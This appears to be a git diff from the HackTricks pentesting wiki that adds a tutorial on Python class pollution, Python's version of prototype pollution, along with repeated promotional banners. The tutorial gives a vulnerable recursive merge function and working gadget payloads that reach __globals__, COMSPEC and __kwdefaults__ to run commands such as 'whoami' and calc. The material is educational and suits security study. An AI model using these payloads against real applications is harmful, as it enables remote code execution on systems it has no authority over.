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* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
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* [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
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* [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
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* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
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* [venv](generic-methodologies-and-resources/python/venv.md)
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* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
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* [Output Searching Python internals](generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md)
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@ -0,0 +1,260 @@
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# Class Pollution (Python's Prototype Pollution)
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Basic Example
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Check how is possible to pollute classes of objects with strings:
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```python
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class Company: pass
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class Developer(Company): pass
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class Entity(Developer): pass
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c = Company()
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d = Developer()
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e = Entity()
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print(c) #<__main__.Company object at 0x1043a72b0>
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print(d) #<__main__.Developer object at 0x1041d2b80>
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print(e) #<__main__.Entity object at 0x1041d2730>
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e.__class__.__qualname__ = 'Polluted_Entity'
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print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
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e.__class__.__base__.__qualname__ = 'Polluted_Developer'
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e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
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print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
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print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
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```
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## Basic Vulnerability Example
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```python
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# Initial state
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class Employee: pass
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emp = Employee()
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print(vars(emp)) #{}
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# Vulenrable function
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def merge(src, dst):
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# Recursive merge function
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for k, v in src.items():
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if hasattr(dst, '__getitem__'):
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if dst.get(k) and type(v) == dict:
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merge(v, dst.get(k))
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else:
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dst[k] = v
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elif hasattr(dst, k) and type(v) == dict:
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merge(v, getattr(dst, k))
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else:
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setattr(dst, k, v)
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USER_INPUT = {
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"name":"Ahemd",
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"age": 23,
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"manager":{
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"name":"Sarah"
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}
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}
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merge(USER_INPUT, emp)
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print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
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```
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## Gadget Examples
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<details>
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<summary>Creating class property default value to RCE (subprocess)</summary>
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```python
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from os import popen
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class Employee: pass # Creating an empty class
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class HR(Employee): pass # Class inherits from Employee class
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class Recruiter(HR): pass # Class inherits from HR class
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class SystemAdmin(Employee): # Class inherits from Employee class
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def execute_command(self):
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command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
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return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
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def merge(src, dst):
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# Recursive merge function
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for k, v in src.items():
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if hasattr(dst, '__getitem__'):
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if dst.get(k) and type(v) == dict:
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merge(v, dst.get(k))
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else:
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dst[k] = v
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elif hasattr(dst, k) and type(v) == dict:
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merge(v, getattr(dst, k))
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else:
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setattr(dst, k, v)
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USER_INPUT = {
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"__class__":{
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"__base__":{
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"__base__":{
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"custom_command": "whoami"
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}
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}
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}
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}
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recruiter_emp = Recruiter()
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system_admin_emp = SystemAdmin()
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print(system_admin_emp.execute_command())
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#> [!] Executing: "echo Hello there", output: "Hello there"
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# Create default value for Employee.custom_command
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merge(USER_INPUT, recruiter_emp)
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print(system_admin_emp.execute_command())
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#> [!] Executing: "whoami", output: "abdulrah33m"
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```
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</details>
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<details>
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<summary>Polluting other classes and global vars through <code>globals</code> </summary>
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```python
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def merge(src, dst):
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# Recursive merge function
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for k, v in src.items():
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if hasattr(dst, '__getitem__'):
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if dst.get(k) and type(v) == dict:
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merge(v, dst.get(k))
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else:
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dst[k] = v
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elif hasattr(dst, k) and type(v) == dict:
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merge(v, getattr(dst, k))
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else:
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setattr(dst, k, v)
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class User:
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def __init__(self):
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pass
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class NotAccessibleClass: pass
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not_accessible_variable = 'Hello'
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merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
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print(not_accessible_variable) #> Polluted variable
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print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
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```
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</details>
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<details>
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<summary>Arbitrary subprocess execution</summary>
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```python
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import subprocess, json
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class Employee:
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def __init__(self):
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pass
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def merge(src, dst):
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# Recursive merge function
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for k, v in src.items():
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if hasattr(dst, '__getitem__'):
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if dst.get(k) and type(v) == dict:
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merge(v, dst.get(k))
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else:
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dst[k] = v
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elif hasattr(dst, k) and type(v) == dict:
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merge(v, getattr(dst, k))
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else:
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setattr(dst, k, v)
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# Overwrite env var "COMSPEC" to execute a calc
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USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
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merge(USER_INPUT, Employee())
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subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
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```
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</details>
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<details>
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<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>
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**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args.
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```python
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from os import system
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import json
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def merge(src, dst):
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# Recursive merge function
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for k, v in src.items():
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if hasattr(dst, '__getitem__'):
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if dst.get(k) and type(v) == dict:
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merge(v, dst.get(k))
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else:
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dst[k] = v
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elif hasattr(dst, k) and type(v) == dict:
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merge(v, getattr(dst, k))
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else:
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setattr(dst, k, v)
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class Employee:
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def __init__(self):
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pass
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def execute(*, command='whoami'):
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print(f'Executing {command}')
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system(command)
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print(execute.__kwdefaults__) #> {'command': 'whoami'}
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execute() #> Executing whoami
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#> user
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emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
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merge(emp_info, Employee())
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print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
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execute() #> Executing echo Polluted
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#> Polluted
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```
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</details>
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## References
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* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
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<details>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -2,17 +2,13 @@
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
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||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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@ -154,6 +150,12 @@ The following page present the technique to **abuse an unsafe deserialization in
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[python-yaml-deserialization.md](python-yaml-deserialization.md)
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{% endcontent-ref %}
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### Class Pollution (Python Prototype Pollution)
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{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
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[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
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{% endcontent-ref %}
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## NodeJS
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### JS Magic Functions
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@ -849,16 +851,12 @@ Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-re
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<details>
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||||
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||||
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
||||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
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|||
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